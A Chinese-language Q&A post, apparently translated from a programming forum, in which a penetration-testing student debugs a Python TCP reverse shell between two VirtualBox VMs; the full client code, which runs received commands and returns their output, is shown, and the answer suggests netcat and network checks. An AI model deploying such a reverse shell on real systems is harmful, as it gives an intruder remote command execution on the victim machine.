运行 TCP 反向 shell 时出错

Question

我对 socket 很陌生，目前正在参加一个针对攻击性渗透测试的在线课程。其中一课是 TCP Reverse shell。我在不同的虚拟机上运行两个脚本（使用 VirtualBox），一个是攻击者，另一个是目标。攻击者脚本运行良好，但客户端输出错误：

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

还有我的代码：

import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('10.0.2.15', 8080))

    while True:
        command = s.recv(1024)

        if 'terminate' in command:
            s.close()
            break
        else:

            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            s.send(CMD.stdout.read())
            s.send(CMD.stdout.read())

def main():
    connect()
main()

我不知道您是否需要查看其他脚本来回答我的问题，如果需要，请告诉我。任何帮助将不胜感激，~Spiralio。

Answer 1

确保您可以在虚拟机之间 ping 通。如果是这样，请尝试一些简单的东西，例如 netcat 侦听器并尝试连接到它。

您可以在攻击者上运行nc -lp 8080，然后在受害者上运行nc 10.0.2.15 8080（假设您使用的是 Linux）。

这两个步骤将帮助您隔离问题。如果 ping 不起作用，很可能是您的网络配置不正确。失败的 netcat 更多地指向某种防火墙。快速浏览一下并且对您的设置一无所知，我假设您的 Python 脚本很好，并且您没有正确配置 2 个 VM 以进行通信。

确保 IP 网络相同，它们位于同一个 VM 网络上（在 Virtualbox 设置中设置），并且如上所述没有运行防火墙。